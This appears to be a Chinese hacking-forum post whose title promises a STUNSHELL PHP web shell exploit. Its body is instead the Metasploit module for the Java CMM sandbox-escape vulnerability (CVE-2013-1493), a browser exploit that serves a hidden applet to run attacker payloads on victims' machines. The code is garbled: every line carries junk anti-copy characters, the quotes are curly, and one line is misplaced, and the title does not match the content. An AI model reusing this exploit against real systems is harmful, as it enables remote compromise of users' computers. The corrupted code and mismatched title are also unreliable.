找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2481|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
8 B& P" M: e1 h. Y% {
+ `' u. c8 [, P# This file is part of the Metasploit Framework and may be subject to0 X' Z. h$ c4 k8 e; E- G
# redistribution and commercial restrictions. Please see the Metasploit2 a( V" F: [- A8 C$ h1 ?# {
# web site for more information on licensing and terms of use.
# V/ d  s$ l- u# http://metasploit.com/# W8 }3 V- m$ u0 H
##: w: H( P3 p* z6 O5 J! g8 e. {
require ‘msf/core’( J1 o3 C" U  m" t1 v/ e5 T5 y
require ‘rex’/ ]: Q( z: B- \7 P4 s
class Metasploit3 < Msf::Exploit::Remote
; x. ?4 J/ _- v6 U, jRank = NormalRanking
- ]  n9 O: F8 T+ \1 u' pinclude Msf::Exploit::Remote::HttpServer::HTML, g% b* }5 f4 W' g5 U0 z
include Msf::Exploit::EXE
. |/ p- @: k' cinclude Msf::Exploit::Remote::BrowserAutopwn
& a, Z  |! ]1 r: Y/ Y1 }% cautopwn_info({ :javascript => false }), T) o) q; W. Y
def initialize( info = {} )
" F8 e  C: x0 Q+ l6 ^) M& y1 B' Fsuper( update_info( info,. v6 {$ Y- J5 k( I8 r) u3 ]/ n
‘Name’ => ‘Java CMM Remote Code Execution’,+ n2 K2 ]7 s1 G5 G; j- e
‘Description’ => %q{: `; Y0 g0 e! z  K- j* _
This module abuses the Color Management classes from a Java Applet to run" }% \' b4 r8 `1 Y  z- R
arbitrary Java code outside of the sandbox as exploited in the wild in February+ s8 N  d" e% d' x# q* Y  ^
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41& h# P. M8 Z# Q% @4 o+ E
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1  u) Q% A2 S4 y! F! D% G& m* e" L# ?9 S
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java/ {1 e/ _% X5 l, Q. C- D* [; @
warning in order to run the malicious applet.
0 d! T! V' S: I5 D7 T},& T/ I3 N! c$ s, f0 C, U
‘License’ => MSF_LICENSE,
3 F  {3 ?/ F. G4 r: \$ Q‘Author’ =>' B" J. e& M" R
'Unknown', # Vulnerability discovery and Exploit4 a  ~: |! v) c
'juan vazquez' # Metasploit module (just ported the published exploit)
) |% X  [% C* W3 @],: z* |5 v* S9 J' n* A: t
‘References’ =>9 q, `! x9 D& p6 q% S
[3 u( r4 ^* B! H9 N# h
[ 'CVE', '2013-1493' ],
3 H2 G& m& ^; l0 T[ 'OSVDB', '90737' ],8 y0 b$ b' g* p7 T" n
[ 'BID', '58238' ],
4 D  e" A3 B2 I: Y9 I7 T  Q[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],3 D1 X) }7 N' e  }3 M
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
2 x" W: z0 a! H0 a[ 'URL', 'http://pastie.org/pastes/6581034' ]" F) ?( E2 K1 V! U$ r
],8 K2 x, X9 Q8 G! E
‘Platform’ => [ 'win', 'java' ],2 t' k+ a, j. W5 |7 g
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
" u+ q% C3 z  v8 q1 e" `‘Targets’ =>
" s6 _3 R3 a0 z7 g[$ E8 J6 I9 Y  C* b
[ 'Generic (Java Payload)',
3 O2 q* c# T: X# {6 T{
) M+ C/ L/ C; g7 R% h: K'Platform' => 'java',0 H7 q5 w# v8 @2 H3 J
'Arch' => ARCH_JAVA$ r/ k4 ~7 @9 z! [2 N( Q5 e# i
}
0 `5 E) w! p5 t1 F+ T1 A; P, J],
  Z, t6 H3 S7 G# S: u[ 'Windows x86 (Native Payload)',
- r5 m+ @7 `( m0 U{% F1 Q* F! B1 V. b4 j+ F" s, Y
'Platform' => 'win',
8 f; ^+ p$ f/ O  y0 x'Arch' => ARCH_X86
: W' D% C4 ]# Z/ y8 ^4 u}" f) ]0 i" c/ k* h
]) S; B1 {5 O& c) }: Q
],9 K' ~8 h" l8 a5 {
‘‘DisclosureDate’ => ‘Mar 01 2013′$ ~. ~' Y6 W) Q. G3 o! U$ j* r$ `
))
3 Y( u/ V4 z- ]% c% p& b0 mend
% B8 I6 t5 o7 m5 ^) i- ~def setup
: T! w5 E! ^8 spath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)+ m" A7 i- _9 |4 D6 Y1 j+ V
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }$ |* z( e( {0 W
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
* w8 _3 H/ b% D: K+ V/ P3 g@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }/ e  M% W- x" _8 T5 n
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
- Q1 }3 S# L" Q9 w@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
# D/ \0 ]( t1 j! Gpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
6 O/ t( d2 c% W8 J% a% r" x@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 `: p, \1 R/ f6 ^0 e) n@init_class_name = rand_text_alpha(“Init”.length)
- F* y4 R; Y) |: n. ?# b7 B3 O. k@init_class.gsub!(“Init”, @init_class_name)
* j+ i( ]4 ~' s% x; Msuper& M3 O3 F7 `6 O5 B
end* ]; [5 N# O& F9 b. L* F8 A  V* h
def on_request_uri(cli, request)
5 x2 _1 C( `3 J( p* A! z  q+ }print_status(“handling request for #{request.uri}”)# a: ^; j6 E6 Q' |
case request.uri
* M. k" \. Y% h$ W. E+ Pwhen /\.jar$/i
/ D9 K( m) v2 A7 A8 djar = payload.encoded_jar
& Y3 `& J5 \" @9 A, K& jjar.add_file(“#{@init_class_name}.class”, @init_class)" a+ Z: R& h$ \. h5 i& F2 q
jar.add_file(“Leak.class”, @leak_class)
' w: _3 o6 }' D: \8 c" I, h/ Ljar.add_file(“MyBufferedImage.class”, @buffered_image_class)
$ W, |: f; e1 k0 |2 F! X& @jar.add_file(“MyColorSpace.class”, @color_space_class)
# k% p. t7 j+ ?! q  |! p- Q9 [DefaultTarget’ => 1,, n7 l0 B6 W6 x( H( G2 N) L
metasploit_str = rand_text_alpha(“metasploit”.length)
0 R. D  N, H; _0 g% r. \9 A/ Lpayload_str = rand_text_alpha(“payload”.length)! W  H2 o! B3 `, {
jar.entries.each { |entry|) {$ S: a" a8 K: J. z
entry.name.gsub!(“metasploit”, metasploit_str); t+ X2 o1 W; w2 v( \
entry.name.gsub!(“Payload”, payload_str)5 p6 f8 h  F7 x7 n
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
$ v; w* }2 A! R6 ?) Z- Centry.data = entry.data.gsub(“Payload”, payload_str)# u' p7 C# ?: K7 O: I0 G" D5 o
}
; [8 [; ]2 v- d) V5 d3 s' z( f9 \jar.build_manifest5 i# c6 V6 I2 x, L) Y# b
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
6 m" q7 T$ w7 w- s# _( xwhen /\/$/
: Z  |* Q" ], Y5 w/ h# q; s1 E6 Tpayload = regenerate_payload(cli)& a  @, Q1 `- }7 T' ]9 a, Y: A
if not payload
  m* A# i6 J" Iprint_error(“Failed to generate the payload.”)7 A+ v0 e1 r# Y: F2 y3 K
send_not_found(cli)' d8 C  ?" b  U0 n
return
! R( L4 W2 P: G, s. Y$ r& u, o8 Zend
' e$ G+ X8 K% ^% T$ ]0 Vsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })  b4 E0 h( N* w' k5 _' J
else
  O% H7 {" L! _  osend_redirect(cli, get_resource() + ‘/’, ”)6 v: G$ |. m: j" a4 b5 z& V
end' x) {3 _( L4 k5 i) X$ p6 N$ N1 Q
end
# p. T! A# x6 Q1 r6 u7 t9 sdef generate_html
2 c2 V, P8 w( z: I  j4 s" Xhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|' c) D8 y0 h/ o: c+ L7 B% G
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|4 x3 v0 l: B& @. ~8 x7 J
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
5 D0 x2 W, k7 }* t  U% h7 f0 ohtml += %Q|</applet></body></html>|3 {/ f& K9 w& ~* w3 J3 }
return html
7 l, a/ }) L/ W6 a* K9 cend: G: s/ s& f1 H# z. t+ _& }# K) L
end
) r' ~9 b" y5 t  H# C$ s7 b" @end- k* V1 W) v1 u/ s) j  L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表